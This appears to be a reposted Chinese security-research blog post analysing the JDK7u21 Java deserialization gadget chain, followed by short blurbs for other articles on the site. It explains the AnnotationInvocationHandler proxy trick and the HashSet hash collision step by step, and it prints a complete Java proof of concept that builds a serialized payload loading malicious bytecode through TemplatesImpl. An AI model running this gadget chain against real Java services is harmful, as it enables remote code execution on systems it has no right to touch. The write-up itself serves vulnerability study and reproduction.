【代码审计】JDK7U21原生链"

admin 2026-10-22 03:26:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image)AnnotationInvocationHandler#equalsImpl方法中存在如下代码。

通过this.getMemberMethods()方法获取所有的成员方法,并通过反射执行,继续跟进getMemberMethods方法。

发现所有的成员方法来自于AnnotationInvocationHandler.this.type,那么只要AnnotationInvocationHandler.this.type为TemplatesImpl就可以获取TemplatesImpl的所有成员方法,并通过反射触发链子的执行,继续跟进type。

发现type的类型为Class<? extends Annotation>,似乎无法赋值为TemplatesImpl,但是这只是编译期的限制,Java泛型只在编译期做类型检查,编译完成后泛型信息被擦除,运行时jvm根本不知道<? extends Annotation>的存在,因此我们通过反射获取AnnotationInvocationHandler时并不会存在类型不匹配的问题。再次回到AnnotationInvocationHandler#equalsImpl方法,继续查找引用。

查找AnnotationInvocationHandler#equalsImpl方法的引用,进入AnnotationInvocationHandler#invoke方法。

AnnotationInvocationHandler#invoke方法是对接口InvocationHandler#invoke的实现。

结合两处分析,只需要声明一个以AnnotationInvocationHandler为处理器的代理对象,当执行该代理对象的equals方法时jvm自动执行AnnotationInvocationHandler#invoke方法,因此继续修改测试代码。

TemplatesImpl templates = new TemplatesImpl();

            Field _nameField = TemplatesImpl.class.getDeclaredField(\"_name\");
            _nameField.setAccessible(true);
            _nameField.set(templates, \"test\");

            Field _bytecodesField = TemplatesImpl.class.getDeclaredField(\"_bytecodes\");
            _bytecodesField.setAccessible(true);
            byte[] rceByte = Files.readAllBytes(Paths.get(\"./target/classes/org/example/Rce.class\"));
            byte[][] rceBytes = {rceByte};
            _bytecodesField.set(templates, rceBytes);

            TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
            Field _tfactoryField = TemplatesImpl.class.getDeclaredField(\"_tfactory\");
            _tfactoryField.setAccessible(true);
            _tfactoryField.set(templates, transformerFactory);

//            templates.newTransformer();
//            templates.getOutputProperties();
            HashMap hashMap = new HashMap();
            Constructor constructor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructor(
                        Class.class,
                        Map.class
                );
            constructor.setAccessible(true);
            InvocationHandler invokeHandler = (InvocationHandler) constructor.newInstance(Templates.class,hashMap);

            Templates proxy = (Templates) Proxy.newProxyInstance(
                    Templates.class.getClassLoader(),
                    new Class[]{Templates.class},
                    invokeHandler
            );

            proxy.equals(templates);

上述代码在创建动态代理的过程中为什么要使用Templates这个接口类型了?在代码proxy.equals(templates);打上断点调试。

你发现动态代理的类型必须与TemplatesImpl类型匹配,否则将无法通过!this.type.isInstance(var1)判断,因此需要转换为该类型。接下来的目标就是寻找一个能够触发以AnnotationInvocationHandler为处理器的代理对象proxy与TemplatesImpl实例templates的equals方法。触发方式有许多,选择比较多的是HashSet。

选择的原因是一个集合不允许存在重复的元素,那么当你在HashSet这个集合中已经插入TemplatesImpl实例时,当再次插入proxy时就会触发两者的equals方法。同时HashSet反序列化时又刚好需要重建整个集合,这时需要从序列化的数据中依次读取所有的内容,一个个重新put进入新的集合中,所以我们可以利用HashSet的反序列化过程触发元素之间的equals方法,编写如下的测试代码。

TemplatesImpl templates = new TemplatesImpl();

            Field _nameField = TemplatesImpl.class.getDeclaredField(\"_name\");
            _nameField.setAccessible(true);
            _nameField.set(templates, \"test\");

            Field _bytecodesField = TemplatesImpl.class.getDeclaredField(\"_bytecodes\");
            _bytecodesField.setAccessible(true);
            byte[] rceByte = Files.readAllBytes(Paths.get(\"./target/classes/org/example/Rce.class\"));
            byte[][] rceBytes = {rceByte};
            _bytecodesField.set(templates, rceBytes);

            TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
            Field _tfactoryField = TemplatesImpl.class.getDeclaredField(\"_tfactory\");
            _tfactoryField.setAccessible(true);
            _tfactoryField.set(templates, transformerFactory);

//            templates.newTransformer();
//            templates.getOutputProperties();
            HashMap hashMap = new HashMap();
            Constructor constructor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructor(
                        Class.class,
                        Map.class
                );
            constructor.setAccessible(true);
            InvocationHandler invokeHandler = (InvocationHandler) constructor.newInstance(Templates.class,hashMap);

            Templates proxy = (Templates) Proxy.newProxyInstance(
                    Templates.class.getClassLoader(),
                    new Class[]{Templates.class},
                    invokeHandler
            );

//            proxy.equals(templates);
            HashSet hashSet = new HashSet();
            hashSet.add(proxy);
            hashSet.add(templates);

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
            oos.writeObject(hashSet);
            oos.close();

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
            ois.readObject();
            ois.close();

运行发现并未触发计算器,断点开始调试。

通过分析代码发现,如果需要在反序列化的过程中触发equals方法,需要两个key的hash值是相等的,即proxy.hashCode()==templatesImpl.hashCode(),同时key不相等,那么自然想到又需要进行hash碰撞了。断点调试来分析如何实现hash碰撞。

由于添加了templates和proxy两个实例,那么这里重建map时就会循环两次插入,分别来分析两次的hash值。

这是不同的元素都会经过的公共的hash处理逻辑,关键在于对于不同的实例会调用不同的h ^= k.hashCode()处理逻辑,这次我们是proxy,继续调试进入。

进入hashCodeImpl处理逻辑,这里由于我们在声明proxy时未向hashMap添加任何内容,因此这个for循环不会进入,整体返回0。

继续调试第二个实例templates的计算过程。

templates没有重写hashCode(),使用的是Object的native实现,返回值基于内存地址,是一个运行时才确定的值,我们无法预知,因此我们无法通过控制templates的hash值来实现碰撞,只能考虑从proxy下手。再次回到proxy的k.hashCode()计算逻辑。

我们发现如果为proxy的hashMap添加了键值对,保证键的hash值为0,值直接赋值为templates那不是就实现了proxy的hash值就是templates的hash值吗,同时查看memberValueHashCode函数的算法。

只要var0不是数组,那么显然就是直接调用的实例对象的hashCode函数,即当值为templates时,此处的hash值计算逻辑为templates.hashCode(),显然与templates的计算逻辑一致。因此现在就只需要找一个键的hash值为0即可,这里就用人家现成的了,修改后的测试代码如下。

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.InvocationHandler;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Main {
    public static void main(String[] args)  {

        try {
            TemplatesImpl templates = new TemplatesImpl();

            Field _nameField = TemplatesImpl.class.getDeclaredField(\"_name\");
            _nameField.setAccessible(true);
            _nameField.set(templates, \"test\");

            Field _bytecodesField = TemplatesImpl.class.getDeclaredField(\"_bytecodes\");
            _bytecodesField.setAccessible(true);
            byte[] rceByte = Files.readAllBytes(Paths.get(\"./target/classes/org/example/Rce.class\"));
            byte[][] rceBytes = {rceByte};
            _bytecodesField.set(templates, rceBytes);

            TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
            Field _tfactoryField = TemplatesImpl.class.getDeclaredField(\"_tfactory\");
            _tfactoryField.setAccessible(true);
            _tfactoryField.set(templates, transformerFactory);

//            templates.newTransformer();
//            templates.getOutputProperties();
            HashMap hashMap = new HashMap();
            hashMap.put(\"f5a5a608\", templates);
            Constructor constructor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructor(
                        Class.class,
                        Map.class
                );
            constructor.setAccessible(true);
            InvocationHandler invokeHandler = (InvocationHandler) constructor.newInstance(Templates.class,hashMap);

            Templates proxy = (Templates) Proxy.newProxyInstance(
                    Templates.class.getClassLoader(),
                    new Class[]{Templates.class},
                    invokeHandler
            );

//            proxy.equals(templates);
            HashSet hashSet = new HashSet();
            hashSet.add(proxy);
            hashSet.add(templates);

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
            oos.writeObject(hashSet);
            oos.close();

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}


【代码审计】JDK7U21原生链" 网络安全文章

【代码审计】JDK7U21原生链"

本文详细分析JDK7U21原生反序列化漏洞利用链,通过TemplatesImpl动态加载恶意字节码实现RCE,结合AnnotationInvocationHandler和HashSet反序列化触发机制完成攻击链构造。文档提供完整代码示例和调试分析过程,适用于Java安全研究和漏洞复现。
KaliLinux部署Codex开发学习两不误" 网络安全文章

KaliLinux部署Codex开发学习两不误"

该文档详细介绍了在KaliLinux系统中部署Codex开发环境并结合DeepSeek模型的完整流程。主要内容包括通过npm全局安装Codex、使用CCSwitch进行API转发配置、路由设置方法以及模型切换操作。文档提供了具体的终端命令和图形界面操作步骤,帮助用户快速搭建可用的AI辅助开发环境。
抱脸的免费资源值得找私网去访问么" 网络安全文章

抱脸的免费资源值得找私网去访问么"

本文探讨了HuggingFace平台免费资源(2核16G配置)的实用价值,详细介绍了通过JupyterLab、RESTfulAPI部署和自定义Docker环境三种方式利用该资源的方法。作者通过具体案例展示了如何在Space中创建Python开发环境、部署FastAPI服务以及构建自定义容器,最终得出结论:在当前云服务成本上升的背景下,该免费资源值得通过私网访问用于学习和测试。
ThinkInAI Weekly AI周刊 VOL.49:开源模型追到1M上下文,Agent开始学会“把经验变成技能”" 网络安全文章

ThinkInAI Weekly AI周刊 VOL.49:开源模型追到1M上下文,Agent开始学会“把经验变成技能”"

本周AI领域聚焦Agent技术实用化进展,Z.ai开源GLM-5.2实现1M上下文长周期任务处理,Qwen推出机器人套件布局具身智能。ClaudeCode和Codex分别推出可分享Artifacts与流程录制功能,Block披露Builderbot已承担15%生产代码变更。技术趋势显示Agent正从单次对话转向可复用、可评估的工程化资产,建议开发者关注长上下文成本控制与多模型融合方案。
评论:0   参与:  0